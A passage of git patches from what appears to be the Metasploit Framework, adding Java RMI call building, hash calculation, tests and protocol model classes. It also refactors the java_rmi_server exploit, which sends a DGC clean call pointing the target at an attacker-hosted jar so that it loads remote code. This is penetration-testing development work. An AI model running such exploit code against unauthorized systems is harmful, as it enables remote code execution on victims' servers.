From 0a37df67a04ced662f96540f551f04f41ef998c4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 16 Mar 2015 23:44:16 -0500 Subject: [PATCH 01/58] Add initial support for better RMI calls --- lib/msf/core.rb | 1 + lib/msf/java/rmi/client.rb | 2 + lib/msf/java/rmi/client/streams.rb | 42 ++++++++++++++-- lib/msf/java/rmi/util.rb | 49 +++++++++++++++++++ .../auxiliary/scanner/misc/java_rmi_server.rb | 49 +++++++++++++------ 5 files changed, 124 insertions(+), 19 deletions(-) create mode 100644 lib/msf/java/rmi/util.rb diff --git a/lib/msf/core.rb b/lib/msf/core.rb index b93efa2b23..3a522c7200 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -76,6 +76,7 @@ require 'msf/http/jboss' require 'msf/kerberos/client' # Java RMI Support +require 'msf/java/rmi/util' require 'msf/java/rmi/client' # Java JMX Support diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index 7b522a1ff1..76ef96cef6 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -9,7 +9,9 @@ module Msf module Client require 'msf/java/rmi/client/streams' + require 'msf/java/rmi/util' + include Msf::Java::Rmi::Util include Msf::Java::Rmi::Client::Streams include Exploit::Remote::Tcp diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb index 215e4b0a8e..1069859119 100644 --- a/lib/msf/java/rmi/client/streams.rb +++ b/lib/msf/java/rmi/client/streams.rb @@ -30,17 +30,49 @@ module Msf # Builds a RMI call stream # - # @param opts [Hash{Symbol => }] + # @param opts [Hash{Symbol => }] # @option opts [Fixnum] :message_id - # @option opts [Rex::Java::Serialization::Model::Stream] :call_data + # @option opts [Fixnum] :object_number Random to identify the object. + # @option opts [Fixnum] :uid_number Identifies the VM where the object was generated. + # @option opts [Fixnum] :uid_time Time where the object was generated. + # @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM + # at the same time. + # @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 + # it is -1. + # @option opts [Fixnum] :method_hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash + # representing the method to call. + # @option opts [Array] :arguments # @return [Rex::Proto::Rmi::Model::Call] def build_call(opts = {}) message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE - call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + operation = opts[:operation] || -1 + method_hash = opts[:method_hash] || 0 + arguments = opts[:arguments] || [] + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = [ + object_number, + uid_number, + uid_time, + uid_count, + operation, + method_hash + ].pack('qlqslq') + block_data.length = block_data.contents.length + + call_data = Rex::Java::Serialization::Model::Stream.new + call_data.contents << block_data + arguments.each do |arg| + call_data.contents << arg + end call = Rex::Proto::Rmi::Model::Call.new( - message_id: message_id, - call_data: call_data + message_id: message_id, + call_data: call_data ) call diff --git a/lib/msf/java/rmi/util.rb b/lib/msf/java/rmi/util.rb new file mode 100644 index 0000000000..a1b8366518 --- /dev/null +++ b/lib/msf/java/rmi/util.rb @@ -0,0 +1,49 @@ +# -*- coding: binary -*- +require 'rex/java/serialization' +require 'rex/text' +module Msf + module Java + module Rmi + module Util + # Calculates a method hash to make RMI calls as defined by the JDK 1.2 + # + # @param signature [String] The remote method signature as specified by the JDK 1.2, + # method name + method descriptor (as explained in the Java Virtual Machine Specification) + # @return [Fixnum] The method hash + # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated + def calculate_method_hash(signature) + utf = Rex::Java::Serialization::Model::Utf.new(nil, signature) + sha1 = Rex::Text.sha1_raw(utf.encode) + + sha1.unpack('Q<')[0] + end + + # Calculates an interface hash to make RMI calls as defined by the JDK 1.1 + # + # @param methods [Array] set of method names and their descriptors + # @param exceptions [Array] set of declared exceptions + # @return [Fixnum] The interface hash + # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated + def calculate_interface_hash(methods, exceptions) + stream = '' + stream << [1].pack('N') # stub version number + + methods.each do |m| + utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name]) + utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor]) + stream << utf_method.encode + stream << utf_descriptor.encode + exceptions.each do |e| + utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e) + stream << utf_exception.encode + end + end + + sha1 = Rex::Text.sha1_raw(stream) + + sha1.unpack('Q<')[0] + end + end + end + end +end diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 7412806b60..46957fa1eb 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -51,7 +51,27 @@ class Metasploit3 < Msf::Auxiliary jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' jar_url = "file:RMIClassLoaderSecurityTest/" + jar - send_call(call_data: build_gc_call_data(jar_url)) + print_status(calculate_interface_hash( + [ + #{name: 'clean', descriptor: '([Ljava.rmi.server.ObjID;;J;Ljava.rmi.dgc.VMID;;Z)V'}, + #{name: 'dirty', descriptor: '([Ljava.rmi.server.ObjID;;J;Ljava.rmi.dgc.Lease;)Ljava.rmi.dgc.Lease;'} + {name: 'sayHello', descriptor: '()Ljava/lang/String;'}, + {name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;'} + ], + ['java.rmi.RemoteException'] + ).to_s) + # JDK 1.1 stub protocol + # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) + # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) + send_call( + object_number: 2, + uid_number: 0, + uid_time: 0, + uid_count: 0, + operation: 0, + method_hash: 0xf6b6898d8bf28643, + arguments: build_dgc_clean_args(jar_url) + ) return_data = recv_return if return_data.nil? @@ -90,14 +110,10 @@ class Metasploit3 < Msf::Auxiliary false end - def build_gc_call_data(jar_url) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" - block_data.length = block_data.contents.length - - stream.contents << block_data + # class: sun.rmi.trasnport.DGC + # method: public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean) + def build_dgc_clean_args(jar_url) + arguments = [] new_array_annotation = Rex::Java::Serialization::Model::Annotation.new new_array_annotation.contents = [ @@ -124,8 +140,11 @@ class Metasploit3 < Msf::Auxiliary new_array.values = [] new_array.array_description = array_desc - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + # ObjID[] paramArrayOfObjID + arguments << new_array + + # long paramLong + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') @@ -145,11 +164,13 @@ class Metasploit3 < Msf::Auxiliary new_object.class_desc.description = new_class_desc new_object.class_data = [] - stream.contents << new_object + # VMID paramVMID + arguments << new_object - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + # boolean paramBoolean + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") - stream + arguments end end From ebe7ad07b08352701b0e863f1f1ea10e4e55ec95 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 11:26:27 -0500 Subject: [PATCH 02/58] Add specs, plus modify java_rmi_server modules --- lib/msf/java/rmi/client/streams.rb | 6 +- .../auxiliary/scanner/misc/java_rmi_server.rb | 13 ++-- .../exploits/multi/misc/java_rmi_server.rb | 32 ++++---- spec/lib/msf/java/rmi/util_spec.rb | 73 +++++++++++++++++++ 4 files changed, 100 insertions(+), 24 deletions(-) create mode 100644 spec/lib/msf/java/rmi/util_spec.rb diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb index 1069859119..6ecc509129 100644 --- a/lib/msf/java/rmi/client/streams.rb +++ b/lib/msf/java/rmi/client/streams.rb @@ -39,7 +39,7 @@ module Msf # at the same time. # @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 # it is -1. - # @option opts [Fixnum] :method_hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash + # @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash # representing the method to call. # @option opts [Array] :arguments # @return [Rex::Proto::Rmi::Model::Call] @@ -50,7 +50,7 @@ module Msf uid_time = opts[:uid_time] || 0 uid_count = opts[:uid_count] || 0 operation = opts[:operation] || -1 - method_hash = opts[:method_hash] || 0 + hash = opts[:hash] || 0 arguments = opts[:arguments] || [] block_data = Rex::Java::Serialization::Model::BlockData.new @@ -60,7 +60,7 @@ module Msf uid_time, uid_count, operation, - method_hash + hash ].pack('qlqslq') block_data.length = block_data.contents.length diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 46957fa1eb..a796879866 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -51,15 +51,14 @@ class Metasploit3 < Msf::Auxiliary jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' jar_url = "file:RMIClassLoaderSecurityTest/" + jar - print_status(calculate_interface_hash( + dgc_interface_hash = calculate_interface_hash( [ - #{name: 'clean', descriptor: '([Ljava.rmi.server.ObjID;;J;Ljava.rmi.dgc.VMID;;Z)V'}, - #{name: 'dirty', descriptor: '([Ljava.rmi.server.ObjID;;J;Ljava.rmi.dgc.Lease;)Ljava.rmi.dgc.Lease;'} - {name: 'sayHello', descriptor: '()Ljava/lang/String;'}, - {name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;'} + {name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V'}, + {name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;'} ], ['java.rmi.RemoteException'] - ).to_s) + ) + # JDK 1.1 stub protocol # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) @@ -69,7 +68,7 @@ class Metasploit3 < Msf::Auxiliary uid_time: 0, uid_count: 0, operation: 0, - method_hash: 0xf6b6898d8bf28643, + hash: dgc_interface_hash, # 0xf6b6898d8bf28643, arguments: build_dgc_clean_args(jar_url) ) return_data = recv_return diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 53697867d1..3c881a1264 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -126,7 +126,17 @@ class Metasploit3 < Msf::Exploit::Remote new_url = get_uri + '/' + jar print_status("#{peer} - Sending RMI Call...") - send_call(call_data: build_gc_call_data(new_url)) + #send_call(call_data: build_gc_call_data(new_url)) + send_call( + object_number: 2, + uid_number: 0, + uid_time: 0, + uid_count: 0, + operation: 0, + hash: 0xf6b6898d8bf28643, #dgc_interface_hash + arguments: build_dgc_clean_args(new_url) + ) + return_data = recv_return if return_data.nil? && !session_created? @@ -196,14 +206,8 @@ class Metasploit3 < Msf::Exploit::Remote false end - def build_gc_call_data(jar_url) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" - block_data.length = block_data.contents.length - - stream.contents << block_data + def build_dgc_clean_args(jar_url) + arguments = [] new_array_annotation = Rex::Java::Serialization::Model::Annotation.new new_array_annotation.contents = [ @@ -230,8 +234,8 @@ class Metasploit3 < Msf::Exploit::Remote new_array.values = [] new_array.array_description = array_desc - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + arguments << new_array + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') @@ -251,11 +255,11 @@ class Metasploit3 < Msf::Exploit::Remote new_object.class_desc.description = new_class_desc new_object.class_data = [] - stream.contents << new_object + arguments << new_object - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") - stream + arguments end end diff --git a/spec/lib/msf/java/rmi/util_spec.rb b/spec/lib/msf/java/rmi/util_spec.rb new file mode 100644 index 0000000000..04799ff3d4 --- /dev/null +++ b/spec/lib/msf/java/rmi/util_spec.rb @@ -0,0 +1,73 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'msf/java/rmi/util' + +describe Msf::Java::Rmi::Util do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Util + mod.send(:initialize) + mod + end + + let(:interface_methods) do + [ + {name: 'sayHello', descriptor: '()Ljava/lang/String;'}, + {name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;'} + ] + end + + let(:interface_exceptions) do + ['java.rmi.RemoteException'] + end + + let(:interface_hash) do + 0x3e664fcbd9e953bb + end + + let(:method_signature) do + 'sayHello()Ljava/lang/String;' + end + + let(:method_hash) do + 0x53e0822d3e3724df + end + + let(:dgc_methods) do + [ + {name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V'}, + {name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;'} + ] + end + + let(:dgc_exceptions) do + ['java.rmi.RemoteException'] + end + + let(:dgc_hash) do + 0xf6b6898d8bf28643 + end + + describe "#calculate_interface_hash" do + context "when an example interface is provided" do + it "generates a correct interface hash" do + expect(mod.calculate_interface_hash(interface_methods, interface_exceptions)).to eq(interface_hash) + end + end + + context "when a DGC interface is provided" do + it "generates a correct interface hash" do + expect(mod.calculate_interface_hash(dgc_methods, dgc_exceptions)).to eq(dgc_hash) + end + end + end + + describe "#calculate_method_hash" do + it "generates a correct interface hash" do + expect(mod.calculate_method_hash(method_signature)).to eq(method_hash) + end + end +end + From dd6ecefe395a870accd805328f119ad19f5abfb2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 11:40:50 -0500 Subject: [PATCH 03/58] Fix endianess --- lib/msf/java/rmi/client/streams.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb index 6ecc509129..407aca2f60 100644 --- a/lib/msf/java/rmi/client/streams.rb +++ b/lib/msf/java/rmi/client/streams.rb @@ -61,7 +61,7 @@ module Msf uid_count, operation, hash - ].pack('qlqslq') + ].pack('q>l>q>s>l>q>') block_data.length = block_data.contents.length call_data = Rex::Java::Serialization::Model::Stream.new From 2d8782d7113dd20439399e9ead659ff06580e86a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 11:48:38 -0500 Subject: [PATCH 04/58] Fix RMI specs --- spec/lib/msf/java/rmi/client/streams_spec.rb | 20 +++++++++++++++++--- spec/lib/msf/java/rmi/client_spec.rb | 2 +- 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/spec/lib/msf/java/rmi/client/streams_spec.rb b/spec/lib/msf/java/rmi/client/streams_spec.rb index 0f92c1952b..9d7cdf2634 100644 --- a/spec/lib/msf/java/rmi/client/streams_spec.rb +++ b/spec/lib/msf/java/rmi/client/streams_spec.rb @@ -22,13 +22,27 @@ describe Msf::Java::Rmi::Client::Streams do end let(:opts_header) { "JRMI\x00\x01\x4d" } - let(:default_call) { "\x50\xac\xed\x00\x05" } + let(:default_call) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x00\x00\x00\x00\x00\x00\x00\x00" + end let(:call_opts) do { - :message_id => Rex::Proto::Rmi::Model::PING_MESSAGE + message_id: Rex::Proto::Rmi::Model::CALL_MESSAGE, + object_number: 2, + uid_number: 0, + uid_time: 0, + uid_count: 0, + operation: 0, + hash: 0xf6b6898d8bf28643 } end - let(:opts_call) { "\x52\xac\xed\x00\x05" } + let(:opts_call) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + end let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" } let(:dgc_ack_opts) do diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb index 72665d3a66..0669e5fd1d 100644 --- a/spec/lib/msf/java/rmi/client_spec.rb +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -59,7 +59,7 @@ describe Msf::Java::Rmi::Client do describe "#send_call" do it "returns the number of bytes sent" do - expect(mod.send_call(sock: io)).to eq(5) + expect(mod.send_call(sock: io)).to eq(41) end end From 1242404085e5cfa343296e178cd700b8f7a154cf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 14:18:07 -0500 Subject: [PATCH 05/58] Delete comment --- modules/auxiliary/scanner/misc/java_rmi_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index a796879866..969ed806d1 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Auxiliary uid_time: 0, uid_count: 0, operation: 0, - hash: dgc_interface_hash, # 0xf6b6898d8bf28643, + hash: dgc_interface_hash, arguments: build_dgc_clean_args(jar_url) ) return_data = recv_return From 87b777e923384d4052925e063b84668c1f03e639 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Mar 2015 17:15:32 -0500 Subject: [PATCH 06/58] Refactor moving code to rex --- lib/msf/java/rmi/client/streams.rb | 1 - lib/rex/proto/rmi/model.rb | 5 + lib/rex/proto/rmi/model/call.rb | 4 +- lib/rex/proto/rmi/model/call_data.rb | 140 ++++++++++++++++++ lib/rex/proto/rmi/model/element.rb | 17 ++- lib/rex/proto/rmi/model/return_data.rb | 6 +- lib/rex/proto/rmi/model/return_value.rb | 99 +++++++++++++ lib/rex/proto/rmi/model/unique_identifier.rb | 77 ++++++++++ spec/lib/rex/proto/rmi/model/call_spec.rb | 2 +- .../rex/proto/rmi/model/return_data_spec.rb | 2 +- 10 files changed, 344 insertions(+), 9 deletions(-) create mode 100644 lib/rex/proto/rmi/model/call_data.rb create mode 100644 lib/rex/proto/rmi/model/return_value.rb create mode 100644 lib/rex/proto/rmi/model/unique_identifier.rb diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb index 407aca2f60..fbf467e018 100644 --- a/lib/msf/java/rmi/client/streams.rb +++ b/lib/msf/java/rmi/client/streams.rb @@ -7,7 +7,6 @@ module Msf module Rmi module Client module Streams - # Builds a RMI header stream # # @param opts [Hash{Symbol => }] diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index 3166506d87..4e48f1af44 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -15,6 +15,8 @@ module Rex PROTOCOL_NOT_SUPPORTED = 0x4f RETURN_DATA = 0x51 PING_ACK = 0x53 + RETURN_VALUE = 1 + RETURN_EXCEPTION = 2 end end end @@ -24,7 +26,10 @@ require 'rex/proto/rmi/model/element' require 'rex/proto/rmi/model/output_header' require 'rex/proto/rmi/model/protocol_ack' require 'rex/proto/rmi/model/continuation' +require 'rex/proto/rmi/model/unique_identifier' +require 'rex/proto/rmi/model/call_data' require 'rex/proto/rmi/model/call' +require 'rex/proto/rmi/model/return_value' require 'rex/proto/rmi/model/return_data' require 'rex/proto/rmi/model/dgc_ack' require 'rex/proto/rmi/model/ping' diff --git a/lib/rex/proto/rmi/model/call.rb b/lib/rex/proto/rmi/model/call.rb index 120ee8a8fe..83aba7202a 100644 --- a/lib/rex/proto/rmi/model/call.rb +++ b/lib/rex/proto/rmi/model/call.rb @@ -11,7 +11,7 @@ module Rex # @return [Fixnum] the message id attr_accessor :message_id # @!attribute call_data - # @return [Rex::Java::Serialization::Model::Stream] the serialized call data + # @return [Rex::Proto::Rmi::Model::CallData] the call data attr_accessor :call_data private @@ -35,7 +35,7 @@ module Rex # @param io [IO] the IO to read from # @return [Rex::Java::Serialization::Model::Stream] def decode_call_data(io) - call_data = Rex::Java::Serialization::Model::Stream.decode(io) + call_data = Rex::Proto::Rmi::Model::CallData.decode(io) call_data end diff --git a/lib/rex/proto/rmi/model/call_data.rb b/lib/rex/proto/rmi/model/call_data.rb new file mode 100644 index 0000000000..d7201e006c --- /dev/null +++ b/lib/rex/proto/rmi/model/call_data.rb @@ -0,0 +1,140 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI return value + class CallData < Element + + # @!attribute object_number + # @return [Fixnum] Random to identify the object being called + attr_accessor :object_number + # @!attribute uid + # @return [Rex::Proto::Rmi::Model::UniqueIdentifier] unique identifier for the target to call + attr_accessor :uid + # @!attribute operation + # @return [Fixnum] On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 + # it is -1. + attr_accessor :operation + # @!attribute hash + # @return [Fixnum] On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash + # representing the method to call. + attr_accessor :hash + # @!attribute arguments + # @return [Array] the returned exception or value according to code + attr_accessor :arguments + + # Encodes the Rex::Proto::Rmi::Model::CallData into an String. + # + # @return [String] + def encode + stream = Rex::Java::Serialization::Model::Stream.new + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, encode_object_number + encode_uid + encode_operation + encode_hash) + + stream.contents << block_data + + arguments.each do |v| + stream.contents << v + end + + stream.encode + end + + # Decodes the Rex::Proto::Rmi::Model::CallData from the input. + # + # @param io [IO] the IO to read from + # @return [Rex::Proto::Rmi::Model::CallData] + def decode(io) + stream = Rex::Java::Serialization::Model::Stream.decode(io) + + block_data = stream.contents[0] + block_data_io = StringIO.new(block_data.contents, 'rb') + + self.object_number = decode_object_number(block_data_io) + self.uid = decode_uid(block_data_io) + self.operation = decode_operation(block_data_io) + self.hash = decode_hash(block_data_io) + self.arguments = [] + + stream.contents[1..stream.contents.length - 1].each do |content| + self.arguments << content + end + + self + end + + private + + # Reads the object number from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_object_number(io) + object_number = read_long(io) + + object_number + end + + # Reads and deserializes the uid from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Proto::Rmi::Model::UniqueIdentifier] + def decode_uid(io) + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) + + uid + end + + # Reads the operation from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_operation(io) + operation = read_int(io) + + operation + end + + # Reads the hash from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_hash(io) + hash = read_long(io) + + hash + end + + # Encodes the code field + # + # @return [String] + def encode_object_number + [object_number].pack('q>') + end + + # Encodes the uid field + # + # @return [String] + def encode_uid + uid.encode + end + + # Encodes the operation field + # + # @return [String] + def encode_operation + [operation].pack('l>') + end + + # Encodes the hash field + # + # @return [String] + def encode_hash + [hash].pack('q>') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb index 60a6bbf481..dc1dd40a94 100644 --- a/lib/rex/proto/rmi/model/element.rb +++ b/lib/rex/proto/rmi/model/element.rb @@ -115,12 +115,27 @@ module Rex raw = io.read(4) unless raw && raw.length == 4 - raise ::RuntimeError, 'Failed to read short' + raise ::RuntimeError, 'Failed to read int' end raw.unpack('N')[0] end + # Reads a 8 bytes long from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the long can't be read from io + def read_long(io) + raw = io.read(8) + + unless raw && raw.length == 8 + raise ::RuntimeError, 'Failed to read long' + end + + raw.unpack('q>')[0] + end + # Reads an string from an IO # # @param io [IO] the IO to read from diff --git a/lib/rex/proto/rmi/model/return_data.rb b/lib/rex/proto/rmi/model/return_data.rb index fe99d23a6e..e43c2c8c55 100644 --- a/lib/rex/proto/rmi/model/return_data.rb +++ b/lib/rex/proto/rmi/model/return_data.rb @@ -11,7 +11,7 @@ module Rex # @return [Fixnum] the stream id attr_accessor :stream_id # @!attribute return value - # @return [Rex::Java::Serialization::Model::Stream] the serialized return data + # @return [Rex::Proto::Rmi::Model::ReturnValue] the return value attr_accessor :return_value private @@ -33,9 +33,9 @@ module Rex # Reads and deserializes the return value from the IO # # @param io [IO] the IO to read from - # @return [Rex::Java::Serialization::Model::Stream] + # @return [Rex::Proto::Rmi::Model::ReturnValue] def decode_return_value(io) - return_value = Rex::Java::Serialization::Model::Stream.decode(io) + return_value = Rex::Proto::Rmi::Model::ReturnValue.decode(io) return_value end diff --git a/lib/rex/proto/rmi/model/return_value.rb b/lib/rex/proto/rmi/model/return_value.rb new file mode 100644 index 0000000000..b6bcd85999 --- /dev/null +++ b/lib/rex/proto/rmi/model/return_value.rb @@ -0,0 +1,99 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI return value + class ReturnValue < Element + + # @!attribute code + # @return [Fixnum] the return code + attr_accessor :code + # @!attribute uid + # @return [Rex::Proto::Rmi::Model::UniqueIdentifier] unique identifier of the returned value + attr_accessor :uid + # @!attribute value + # @return [Array] the returned exception or value according to code + attr_accessor :value + + # Encodes the Rex::Proto::Rmi::Model::ReturnValue into an String. + # + # @return [String] + def encode + stream = Rex::Java::Serialization::Model::Stream.new + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, encode_code + encode_uid) + + stream.contents << block_data + value.each do |v| + stream.contents << v + end + + stream.encode + end + + # Decodes the Rex::Proto::Rmi::Model::ReturnValue from the input. + # + # @param io [IO] the IO to read from + # @return [Rex::Proto::Rmi::Model::ReturnValue] + def decode(io) + stream = Rex::Java::Serialization::Model::Stream.decode(io) + + block_data = stream.contents[0] + block_data_io = StringIO.new(block_data.contents, 'rb') + + self.code = decode_code(block_data_io) + self.uid = decode_uid(block_data_io) + self.value = [] + + stream.contents[1..stream.contents.length - 1].each do |content| + self.value << content + end + + self + end + + private + + # Reads the return code from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the return code + def decode_code(io) + code = read_byte(io) + unless code == RETURN_VALUE || code == RETURN_EXCEPTION + raise ::RuntimeError, 'Failed to decode the ReturnValue code' + end + + code + end + + # Reads and deserializes the uid from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Proto::Rmi::Model::UniqueIdentifier] + def decode_uid(io) + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) + + uid + end + + # Encodes the code field + # + # @return [String] + def encode_code + [code].pack('c') + end + + # Encodes the uid field + # + # @return [String] + def encode_uid + uid.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/unique_identifier.rb b/lib/rex/proto/rmi/model/unique_identifier.rb new file mode 100644 index 0000000000..179f162c43 --- /dev/null +++ b/lib/rex/proto/rmi/model/unique_identifier.rb @@ -0,0 +1,77 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of UniqueIdentifier as used in RMI calls + class UniqueIdentifier < Element + + # @!attribute number + # @return [Fixnum] Identifies the VM where an object is generated + attr_accessor :number + # @!attribute time + # @return [Fixnum] Time where the object was generated + attr_accessor :time + # @!attribute count + # @return [Fixnum] Identifies different instance of the same object generated from the same VM + # at the same time + attr_accessor :count + + private + + # Reads the number from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_number(io) + number = read_int(io) + + number + end + + # Reads the time from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_time(io) 